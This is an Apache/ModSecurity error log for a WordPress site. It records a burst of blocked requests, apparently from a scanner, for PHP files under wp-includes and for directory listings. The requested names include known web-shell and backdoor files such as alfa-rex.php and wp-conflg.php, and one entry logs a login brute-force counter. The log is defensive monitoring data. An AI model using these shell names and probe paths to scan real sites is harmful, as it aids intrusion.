[Fri Apr 24 23:06:22.423406 2026] [:error] [pid 4177:tid 4203] [client 173.239.218.165:53473] [client 173.239.218.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aeuG7n2asKnvdrSe0x5aFAAAAZI"]
[Fri Apr 24 23:06:25.493553 2026] [:error] [pid 4177:tid 4202] [client 173.239.218.171:41397] [client 173.239.218.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/file.php"] [unique_id "aeuG8X2asKnvdrSe0x5aGwAAAZE"]
[Fri Apr 24 23:06:27.261359 2026] [:error] [pid 17719:tid 17740] [client 98.159.37.128:44637] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aeuG88TZ9gzEyL1BkPrErgAAAI0"]
[Fri Apr 24 23:06:29.625794 2026] [:error] [pid 22114:tid 22126] [client 173.239.218.174:57985] [client 173.239.218.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/load.php"] [unique_id "aeuG9YAuWGz3WlMQjocDZAAAAQk"]
[Fri Apr 24 23:06:30.052525 2026] [:error] [pid 17721:tid 17783] [client 173.239.218.159:55001] [client 173.239.218.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aeuG9uFXXkLeyDnfk_9b8wAAAAI"]
[Fri Apr 24 23:06:30.506766 2026] [:error] [pid 17721:tid 17803] [client 173.239.218.184:57451] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aeuG9uFXXkLeyDnfk_9b9QAAABY"]
[Fri Apr 24 23:06:34.563004 2026] [:error] [pid 17808:tid 17828] [client 98.159.37.133:63291] [client 98.159.37.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aeuG-uarbOEFI8qshvJsegAAAFI"]
[Fri Apr 24 23:06:36.389202 2026] [:error] [pid 17720:tid 17760] [client 98.159.37.128:37851] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aeuG_OhlUs6BS3Ng7_XmfAAAAMY"]
[Fri Apr 24 23:06:39.533565 2026] [:error] [pid 17721:tid 17781] [client 173.239.218.184:35695] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aeuG_-FXXkLeyDnfk_9cEgAAAAA"]
[Fri Apr 24 23:06:39.992749 2026] [:error] [pid 17721:tid 17785] [client 173.239.218.184:55043] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aeuG_-FXXkLeyDnfk_9cFAAAAAQ"]
[Fri Apr 24 23:06:40.413449 2026] [:error] [pid 17721:tid 17790] [client 216.24.210.195:47553] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aeuHAOFXXkLeyDnfk_9cFwAAAAk"]
[Fri Apr 24 23:06:49.687506 2026] [:error] [pid 17721:tid 17791] [client 173.239.218.184:51781] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/system.php"] [unique_id "aeuHCeFXXkLeyDnfk_9cSAAAAAo"]
[Fri Apr 24 23:06:50.958949 2026] [:error] [pid 17808:tid 17815] [client 173.239.218.182:53719] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aeuHCuarbOEFI8qshvJskAAAAEU"]
[Fri Apr 24 23:06:53.851100 2026] [:error] [pid 17720:tid 17770] [client 173.239.218.175:34189] [client 173.239.218.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aeuHDehlUs6BS3Ng7_XmiwAAANA"]
[Fri Apr 24 23:06:54.217890 2026] [:error] [pid 17720:tid 17776] [client 98.159.37.127:41569] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aeuHDuhlUs6BS3Ng7_XmjQAAANY"]
[Fri Apr 24 23:06:54.560652 2026] [:error] [pid 17719:tid 17730] [client 216.24.210.195:61161] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aeuHDsTZ9gzEyL1BkPrEvgAAAIM"]
[Fri Apr 24 23:06:58.309148 2026] [:error] [pid 17721:tid 17792] [client 98.159.37.120:58105] [client 98.159.37.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "aeuHEuFXXkLeyDnfk_9cTgAAAAs"]
[Fri Apr 24 23:07:07.552046 2026] [:error] [pid 17808:tid 17810] [client 98.159.37.116:60049] [client 98.159.37.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-pie.php"] [unique_id "aeuHG-arbOEFI8qshvJsswAAAEA"]
[Fri Apr 24 23:07:12.529408 2026] [:error] [pid 17719:tid 17745] [client 173.239.218.160:37673] [client 173.239.218.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/index.php"] [unique_id "aeuHIMTZ9gzEyL1BkPrEzQAAAJI"]
[Fri Apr 24 23:07:15.657570 2026] [:error] [pid 17721:tid 17801] [client 173.239.218.171:39671] [client 173.239.218.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/nav-menu.php"] [unique_id "aeuHI-FXXkLeyDnfk_9cbAAAABQ"]
[Fri Apr 24 23:07:16.584322 2026] [:error] [pid 17720:tid 17770] [client 98.159.37.127:54981] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/user.php"] [unique_id "aeuHJOhlUs6BS3Ng7_XmpgAAANA"]
[Fri Apr 24 23:07:34.213796 2026] [:error] [pid 17808:tid 17823] [client 98.159.37.118:49575] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "aeuHNuarbOEFI8qshvJs4AAAAE0"]
[Fri Apr 24 23:07:34.661447 2026] [:error] [pid 17721:tid 17793] [client 98.159.37.117:39495] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "aeuHNuFXXkLeyDnfk_9ckQAAAAw"]
[Fri Apr 24 23:07:35.052461 2026] [:error] [pid 17721:tid 17794] [client 173.239.218.170:44873] [client 173.239.218.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aeuHN-FXXkLeyDnfk_9ckwAAAA0"]
[Fri Apr 24 23:07:36.783763 2026] [:error] [pid 17720:tid 17772] [client 173.239.218.169:55071] [client 173.239.218.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.169, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aeuHOOhlUs6BS3Ng7_XmtwAAANI"]
[Fri Apr 24 23:07:40.141499 2026] [:error] [pid 17720:tid 17769] [client 173.239.218.169:55071] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "aeuHPOhlUs6BS3Ng7_XmuwAAAM8"]
[Fri Apr 24 23:07:40.517536 2026] [:error] [pid 22114:tid 22139] [client 194.5.52.23:38125] [client 194.5.52.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aeuHPIAuWGz3WlMQjocDdQAAARY"]
[Fri Apr 24 23:07:40.872299 2026] [:error] [pid 17721:tid 17797] [client 98.159.37.136:20263] [client 98.159.37.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "aeuHPOFXXkLeyDnfk_9cogAAABA"]
[Fri Apr 24 23:07:47.998207 2026] [:error] [pid 17720:tid 17766] [client 173.239.218.163:38159] [client 173.239.218.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aeuHQ-hlUs6BS3Ng7_XmxQAAAMw"]
[Fri Apr 24 23:07:57.056360 2026] [:error] [pid 17720:tid 17777] [client 98.159.37.121:53275] [client 98.159.37.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aeuHTehlUs6BS3Ng7_XmzQAAANc"]
[Fri Apr 24 23:07:57.603892 2026] [authz_core:error] [pid 17720:tid 17771] [client 173.239.218.171:53267] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/views/cmd.php
[Fri Apr 24 23:07:59.275757 2026] [:error] [pid 17720:tid 17765] [client 173.239.218.171:53267] [client 173.239.218.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "aeuHT-hlUs6BS3Ng7_Xm0gAAAMs"]
[Fri Apr 24 23:08:14.740434 2026] [:error] [pid 17719:tid 17742] [client 98.159.37.119:24843] [client 98.159.37.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aeuHXsTZ9gzEyL1BkPrFDAAAAI8"]
[Fri Apr 24 23:08:15.328788 2026] [:error] [pid 17808:tid 17833] [client 173.239.218.183:23237] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aeuHX-arbOEFI8qshvJs8QAAAFc"]
[Fri Apr 24 23:08:15.746445 2026] [:error] [pid 17808:tid 17817] [client 173.239.218.163:25037] [client 173.239.218.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aeuHX-arbOEFI8qshvJs8gAAAEc"]
[Fri Apr 24 23:08:16.143969 2026] [:error] [pid 17720:tid 17760] [client 216.24.210.195:32123] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "aeuHYOhlUs6BS3Ng7_Xm9gAAAMY"]
[Fri Apr 24 23:08:20.372361 2026] [:error] [pid 17719:tid 17742] [client 173.239.218.167:39623] [client 173.239.218.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "aeuHZMTZ9gzEyL1BkPrFGAAAAI8"]
[Fri Apr 24 23:08:20.729487 2026] [:error] [pid 17720:tid 17771] [client 173.239.218.173:20529] [client 173.239.218.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "aeuHZOhlUs6BS3Ng7_Xm_gAAANE"]
[Fri Apr 24 23:08:27.115334 2026] [:error] [pid 17719:tid 17733] [client 98.159.37.137:61229] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aeuHa8TZ9gzEyL1BkPrFIAAAAIY"]
[Fri Apr 24 23:08:32.425102 2026] [:error] [pid 17808:tid 17819] [client 98.159.37.118:32377] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "aeuHcOarbOEFI8qshvJtBAAAAEk"]
[Fri Apr 24 23:08:32.845807 2026] [:error] [pid 14531:tid 14556] [client 98.159.37.123:62353] [client 98.159.37.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "aeuHcHfLU2gw-6KR-GbuyQAAAVc"]
[Fri Apr 24 23:08:35.236937 2026] [autoindex:error] [pid 17721:tid 17802] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:38.032860 2026] [autoindex:error] [pid 17721:tid 17788] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:46.660347 2026] [autoindex:error] [pid 17721:tid 17785] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:48.127346 2026] [autoindex:error] [pid 17721:tid 17795] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:52.417733 2026] [autoindex:error] [pid 17721:tid 17789] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:52.676218 2026] [autoindex:error] [pid 17721:tid 17801] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:53.204169 2026] [autoindex:error] [pid 17721:tid 17783] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:56.148106 2026] [autoindex:error] [pid 17721:tid 17799] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:56.358563 2026] [autoindex:error] [pid 17721:tid 17802] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:57.500603 2026] [autoindex:error] [pid 17721:tid 17798] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:57.821246 2026] [autoindex:error] [pid 17721:tid 17786] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:08:58.077754 2026] [autoindex:error] [pid 17721:tid 17787] [client 173.239.218.180:41605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
